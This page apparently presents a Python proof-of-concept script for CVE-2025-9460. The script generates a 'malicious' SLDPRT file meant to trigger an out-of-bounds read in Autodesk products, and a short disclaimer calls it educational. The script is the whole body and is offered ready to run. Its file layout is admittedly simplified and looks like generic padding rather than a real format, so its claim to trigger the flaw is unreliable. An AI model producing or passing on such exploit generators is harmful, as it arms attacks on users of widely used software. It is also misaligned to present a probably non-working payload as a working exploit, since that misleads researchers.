CVE-2025-9460: Autodesk产品SLDPRT文件解析越界读取漏洞

#!/usr/bin/env python3 """ CVE-2025-9460 PoC - Malicious SLDPRT File Generator This PoC generates a malformed SLDPRT file to trigger Out-of-Bounds Read Note: This is for educational and security research purposes only """ import struct import os def create_malformed_sldprt(output_path): """ Generate a malformed SLDPRT file that may trigger CVE-2025-9460 """ # SLDPRT file header (simplified structure) header = b'SLDPRT' # File signature # Version information version = struct.pack('<I', 25) # Version number # Malformed data section - crafted to trigger OOB read # This causes the parser to read beyond allocated buffer malformed_data = b'\x00' * 100 # Padding malformed_data += b'\xFF' * 50 # Out-of-bounds trigger data malformed_data += struct.pack('<Q', 0xFFFFFFFFFFFFFFFF) # Large offset value # File metadata section metadata = b'\x00' * 256 # Malformed metadata # Create the malicious SLDPRT file with open(output_path, 'wb') as f: f.write(header) f.write(version) f.write(malformed_data) f.write(metadata) print(f"[+] Malformed SLDPRT file created: {output_path}") print(f"[+] File size: {os.path.getsize(output_path)} bytes") print("[*] This file may trigger CVE-2025-9460 in vulnerable Autodesk products") if __name__ == '__main__': output_file = 'CVE-2025-9460 malicious.sldprt' create_malformed_sldprt(output_file) print("\n[!] Warning: Do NOT open this file in Autodesk products without proper authorization")